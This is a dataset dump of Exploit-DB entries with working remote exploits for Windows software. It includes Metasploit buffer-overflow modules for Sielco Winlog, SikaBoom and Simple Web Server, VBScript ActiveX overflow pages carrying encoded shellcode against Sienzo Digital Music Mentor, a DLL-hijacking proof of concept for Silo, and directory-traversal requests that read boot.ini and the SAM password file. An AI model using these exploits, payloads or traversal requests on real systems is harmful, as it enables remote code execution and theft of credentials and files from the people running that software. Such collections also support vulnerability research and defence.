deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17430
Description: Sielco Sistemi Winlog - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-06-21
Author: Metasploit

Exploit:
##
# $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sielco Sistemi Winlog Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Sielco
				Sistem Winlog <= 2.07.00. When sending a specially formatted
				packet to the Runtime.exe service, an attacker may be able to
				execute arbitrary code.
			},
			'Author'         => [ 'Luigi Auriemma', 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13000 $',
			'References'     =>
				[
					[ 'CVE', '2011-0517' ],
					[ 'OSVDB', '70418'],
					[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jan 13 2011'))

		register_options([Opt::RPORT(46823)], self.class)
	end

	def exploit

		connect

		data =  [0x02].pack('C') # opcode
		data << [0x0101].pack('n')
		data << rand_text_alpha_upper(588)
		data << generate_seh_payload(target.ret)

		print_status("Trying target #{target.name}...")
		sock.put(data)

		handler
		disconnect

	end

end
Exploit-DB #19025
Description: Sielco Sistemi Winlog 2.07.14 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-06-08
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'         => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
			'Description'  => %q{
				This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
				When sending a specially formatted packet to the Runtime.exe service on port 46824,
				an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'm-1-k-3 <m1k3[at]s3cur1ty.de>'
				],
			'References'     =>
				[
					[ 'BID', '53811'],
					[ 'URL', 'http://www.s3cur1ty.de' ],
					[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process',
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => "\x00",
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
						{
							'Ret'    => 0x405153df,
							'Offset' => 167,
						}
					], #  Jmp ESP - Vclx40.bpl - 0x405153df
					[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
						{
							'Ret'    => 0x405153df,
							'Offset' => 151,
						}
					], #  Jmp ESP - Vclx40.bpl - 0x405153df
					#The reliability depends on the actual project. We need to generate some more
					#targets. Two of them for the default project and one other project is now available.
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 04 2012',
			'DefaultTarget'  => 0))

		register_options([Opt::RPORT(46824)], self.class)
	end

	def exploit
		connect

		egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)

		print_status("Placing the shellcode")
		shellcode = rand_text_alpha(2000)
		shellcode << egg
		sock.put(shellcode)

		select(nil,nil,nil,1)

		buffer = rand_text_alpha(20)
		buffer << "\x14" * 10 	#trigger the crash
		buffer << rand_text_alpha(target['Offset'])
		buffer << [target.ret].pack('V')
		buffer << egghunter
		buffer << rand_text_alpha(69 - egghunter.length)

		print_status("Trying target #{target.name}...")
		sock.put(buffer)

		handler
		disconnect

	end
end
Exploit-DB #42694
Description: Sielco Sistemi Winlog 2.07.16 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sielco Sistemi Winlog <= 2.07.16',
			'Description'    => %q{
				This module exploits a stack based buffer overflow
				found in Sielco Sistemi Winlog <= 2.07.16. The
				overflow is triggered during the parsing of a
				maliciously crafted packet
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space' => 150,
					'BadChars' => "\x00\x0a\x0d\x20",
					'DisableNops' => 'True',
					# add esp, -5500
					'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff",
					'Compat'	=>
						{
							'SymbolLookup' => 'ws2ord',
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3 EN (Automatic Washing System Demo)',
							{
								# vcldb40.bpl
								# jmp esp
								'Ret' => 0x46035f8b,
								'Offset' => 160,
								'jmp' => "\xe9\x56\xff\xff\xff",
							}
					],
					[
						'Windows XP SP3 EN (Car Simulation)',
							{
								# vcl40.bpl
								# jmp esp
								'Ret' => 0x4003eb6b,
								'Offset' => 175,
								'jmp' => "\xe9\x46\xff\xff\xff",
							}
					],
					[ 
						'Windows XP SP3 EN (Ceramics Kiln)', 
							{ 
								# ter19.dll
								# push esp/ retn
								'Ret' => 0x258b4432,
								'Offset' => 176,
								'jmp' => "\xe9\x46\xff\xff\xff",
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 26 2012'))

		register_options([Opt::RPORT(46824)], self.class)
	end

	def exploit
		connect

		boom =  rand_text_alpha_upper(20)
		boom << 'x'
		boom << rand_text_alpha_upper(target['Offset'])
		boom << [target.ret].pack('V')
		boom << "\x41" * 4
		boom << target['jmp']
		boom << "\xcc" * (281 - boom.length)

		boom[22,4] = "\x41" * 4
		boom[26,payload.encoded.length] = payload.encoded

		print_status("Trying target #{target.name}...")
		sock.put(boom)

		handler
	end

end
Exploit-DB #3881
Description: Sienzo Digital Music Mentor 2.6.0.4 - SetEvalExpiryDate EIP Overwrite
Type: remote
Platform: windows
Date: 2007-05-09
Author: Parveen Vashishtha

Exploit:
<!--

  ===============================================================================================
      Sienzo Digital Music Mentor (DMM) 2.6.0.4 (DSKernel2.dll) SetEvalExpiryDate Method Stack Overflow EIP Overwrite Exploit
                                                By Parveen Vashishtha
  ==============================================================================================   
        
  Date : 07-05-2007
 
  
  Tested on Windows XP Latest -- Opens Calc
  
    
 
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Thanks to Metasploit and Stroke 

-->


<html>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:E2B7DDA9-38C5-11D5-91F6-00104BDB8FF9" > </OBJECT>

<script language="vbscript">


shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                    

jmp_esp=unescape("%81%69%A7%7C")


targetFile = "C:\Program Files\Sienzo\DMM\DSKernel2.dll"
prototype  = "Sub SetEvalExpiryDate ( ByVal Key As String ,  ByVal lCategory As Long ,  ByVal lModuleID As Long ,  ByVal lYear As Long ,  ByVal lMonth As Long ,  ByVal lDay As Long ,  ByVal vbReset As Boolean )"
memberName = "SetEvalExpiryDate"
progid     = "LMDSKernelLib2.LMDSKernel2"
argCount   = 7

arg1=String(836	, "A")
arg2=1
arg3=1
arg4=1
arg5=1
arg6=1
arg7=True

arg1=arg1+jmp_esp+nop+nop+shellcode+nop

target.SetEvalExpiryDate arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 

</script>
</body>
</html>

# milw0rm.com [2007-05-09]
Exploit-DB #3880
Description: Sienzo Digital Music Mentor 2.6.0.4 - SetEvalExpiryDate Overwrite (SEH)
Type: remote
Platform: windows
Date: 2007-05-09
Author: Parveen Vashishtha

Exploit:
<!--

  ===============================================================================================
  Sienzo Digital Music Mentor (DMM) 2.6.0.4 (DSKernel2.dll) SetEvalExpiryDate Method Stack Overflow SEH Overwrite Exploit
                                                By Parveen Vashishtha
  ==============================================================================================   
        
  Date : 07-05-2007
 
   Open Calc
 
  
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Thanks to Metasploit and Stroke 

-->


<html>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:E2B7DDA9-38C5-11D5-91F6-00104BDB8FF9" > </OBJECT>

<script language="vbscript">




shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                    

pointer_to_seh=unescape("%eb%06%90%90")

seh_handler=unescape("%a9%11%02%75")


targetFile = "C:\Program Files\Sienzo\DMM\DSKernel2.dll"
prototype  = "Sub SetEvalExpiryDate ( ByVal Key As String ,  ByVal lCategory As Long ,  ByVal lModuleID As Long ,  ByVal lYear As Long ,  ByVal lMonth As Long ,  ByVal lDay As Long ,  ByVal vbReset As Boolean )"
memberName = "SetEvalExpiryDate"
progid     = "LMDSKernelLib2.LMDSKernel2"
argCount   = 7

arg1=String(1476, "A")
arg2=1
arg3=1
arg4=1
arg5=1
arg6=1
arg7=True

arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop


target.SetEvalExpiryDate arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 

</script>
</body>
</html>

# milw0rm.com [2007-05-09]
Exploit-DB #29035
Description: SikaBoom - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-10-18
Author: Asesino04

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
      include Msf::Exploit::Remote::Tcp
 
      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'SikaBoom Remote Buffer overflow',
                        'Description'    => %q{
                                        This module exploits a buffer overflow in SikaBoom .
                                             },
                        'Module'         => [ 'Asesino04' ],
      'References'     =>
        [
          [ 'Bug', 'http://1337day.com/exploit/16672' ],
 
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 268,
                                        'BadChars' => "\x00\xff",
                                },
                        'Platform'       => 'win',
 
                        'Targets'        =>
                                [
                                        ['Windows XP SP2 En',
                                          { 'Ret' => 0x5D38827C, 'Offset' => 268 } ],
                                ],
                        'DefaultTarget' => 0,
 
                        'Privileged'     => false
                        ))
 
                        register_options(
                        [
                                Opt::RPORT(4321)
                        ], self.class)
       end
 
       def exploit
          connect
 
          junk = make_nops(target['Offset'])
          sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
          sock.put(sploit)
 
          handler
          disconnect
 
       end
 
end
Exploit-DB #22758
Description: silentthought simple Web server 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-06-12
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7888/info

It has been reported that Simple Web Server fails to properly sanitize web requests. By sending a malicious web request to the vulnerable server, using directory traversal sequences, it is possible for a remote attacker to access sensitive resources located outside of the web root.

This vulnerability has been reported for silentThought Simple Web Server version 1.0 for the Microsoft Windows platform.

http://www.example.com/../../winnt/repair/sam._
http://www.example.com/../../boot.ini
Exploit-DB #34978
Description: Silo 2.1.1 - 'wintab32.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-11-08
Author: Gjoko Krstic

Exploit:
// source: https://www.securityfocus.com/bid/44726/info

Silo is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Silo 2.1.1 is vulnerable; other versions may also be affected. 

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #31231
Description: SIMM-Comm SCI Photo Chat 3.4.9 - Directory Traversal
Type: remote
Platform: windows
Date: 2008-02-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27872/info

SCI Photo Chat is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

This issue affects SCI Photo Chat 3.4.9 and prior versions. 

GET /docs/..\..\..\..\..\boot.ini HTTP/1.0
GET /docs/../../../../../boot.ini HTTP/1.0
Exploit-DB #4700
Description: Simple HTTPd 1.38 - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2007-12-07
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Simple HTTPD
              http://shttpd.sourceforge.net
Versions:     <= 1.38
Platforms:    Windows, *nix, QNX, RTEMS
              only Windows seems vulnerable
Bugs:         A] directory traversal
              B] scripts and CGI viewing/downloading
                 (%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date:         07 Dec 2007
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Simple HTTPD (shttpd) is an open source web server created for embedded
systems.


#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

Using the "..\" pattern is possible to download any file in the disk on
which is located the web root directory.


--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------

Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.


Note that only Windows seems vulnerable to the above bugs.


#######################################################################

===========
3) The Code
===========


A]
http://SERVER/..\..\..\boot.ini
http://SERVER/..\%2e%2e%5c..\boot.ini

B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff


#######################################################################

======
4) Fix
======


I have posted the problems in the shttpd-general mailing-list but there
is no reply yet:

  http://sourceforge.net/mailarchive/forum.php?forum_name=shttpd-general


#######################################################################


--- 
Luigi Auriemma
http://aluigi.org

# milw0rm.com [2007-12-07]
Exploit-DB #20028
Description: Simple Web Server - Connection Header Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-07-23
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'        => "Simple Web Server Connection Header Buffer Overflow",
			'Description' => %q{
				This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user
				can send a long string data in the Connection Header to causes an overflow on the
				stack when function vsprintf() is used, and gain arbitrary code execution. The
				module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
			},
			'License'	  => MSF_LICENSE,
			'Author'      =>
				[
					'mr.pr0n', # Vulnerability Discovery and PoC
					'juan' # Metasploit module
				],
			'References' =>
				[
					['EDB', '19937'],
					['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/']
				],
			'Payload'	 =>
				{
					'BadChars' => "\x00\x0a\x0d",
					'Space' => 2048,
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => "process",
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[
						'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1',
						{
							'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll
							'Offset' => 2048,
							'OffsetEDI' => 84
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 20 2012",
			'DefaultTarget'  => 0))
	end

	def check
		res = send_request_raw({'uri'=>'/'})
		if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit

		sploit = payload.encoded
		sploit << rand_text(target['Offset'] - sploit.length)
		sploit << [target.ret].pack("V") # eip
		sploit << rand_text(target['OffsetEDI'])
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string

		print_status("Trying target #{target.name}...")

		connect

		send_request_cgi({
			'uri'        => '/',
			'version'    => '1.1',
			'method'     => 'GET',
			'connection' => sploit
		})

		disconnect

	end
end
Exploit-DB #22001
Description: Simple Web Server 0.5.1 - File Disclosure
Type: remote
Platform: windows
Date: 2002-11-08
Author: Tamer Sahin

Exploit:
source: https://www.securityfocus.com/bid/6145/info

Simple Web Server does not properly sanitize web requests. By adding a slash-slash sequence ('//') to a URI, it is possible for an attacker to disclose files on the vulnerable web server, effectively bypassing any access controls. 

http://server.com///secret/file